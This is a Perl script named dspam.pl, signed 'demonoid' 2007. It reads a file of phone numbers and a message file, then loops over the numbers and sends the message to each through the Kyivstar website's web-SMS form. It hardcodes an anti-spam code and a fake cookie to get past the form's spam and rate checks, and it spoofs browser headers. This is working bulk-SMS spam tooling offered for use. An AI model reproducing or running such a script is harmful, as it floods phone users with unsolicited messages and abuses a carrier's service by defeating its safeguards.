#!/usr/bin/perl
use IO::Socket; 
if (@ARGV < 2)                                                                                     
{ 
   &help; 
}
$mobbase=$ARGV[0];																	              
$msgbase=$ARGV[1];                                                                                 
open(file, "$mobbase") or die print "Cant open mobile.base\n"; @data0=<file>;close file;           
open(file, "$msgbase") or die print "Cant open messenge.base\n"; $msgtext=<file>;close file;       
$ver="1.00b";                                                                                      
foreach $telefone (@data0)                                                                         
{
 $i++;
 chomp($telefone);  
 $mcode=substr($telefone,0,3);                                                                    
 $mnumber=substr($telefone,3,7);                                                                   
 $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"kyivstar.net", PeerPort=>"80");            
 $param="submitted=true&lang=ua&mobcode=$mcode&number=$mnumber&lat=1&message=$msgtext&antispam=3331";
 $len=length($param);                                                                             
 print $sock "POST /_sms.html HTTP/1.0\r\n".
             "Accept: */*\r\n".
             "Referer: http://www.kyivstar.net/_sms.html?lang=ua\r\n".
             "Accept-Language: ru\r\n".
             "Content-Type: application/x-www-form-urlencoded\r\n".
             "User-Agent: Internet Explorer 6.0\r\n".
             "Host: www.kyivstar.net\r\n".
             "Content-Length: $len\r\n".
             "Pragma: no-cache\r\n".
             "Cookie: countSms=0; code=3331\r\n".
             "Connection: Keep-Alive\r\n\r\n".
             "$param";
       $sock->recv($answer,512);  																	               
      if ($answer=~/messageID/)   {print "[+]Messenge $mcode-$mnumber send\r\n";}                   
      else 			              {print "[-]Messenge $mcode-$mnumber not send\r\n";}			     
 close($sock);																						
}
sub help() 
{
  print q(
            ________   Written  by  demonoid (C) 2007
            \   __  |  ____  ______  _____   __    __
             | |  | | |  __||  __  |/  -  \ |  \  /  |
             | |  | | | |__ | |  | || | | | |   \/   |
             | |  | | |__  ||  --  || |_| | | |\  /| |
            _|  --  |  __| ||  ---- |  _  | | | -- | |
           /_______/  |____||_|     |_| |_| |_|    |_| V1.00b

	  usage: ./dspam.pl [mobile.base] [messenge.base]
	   help:  
	     [mobile.base] - Base with phones. 
	   [messenge.base] - Base with messenge. 
	example: ./dspam.pl mob.txt msg.txt
          

);
  exit();                                                                                             
}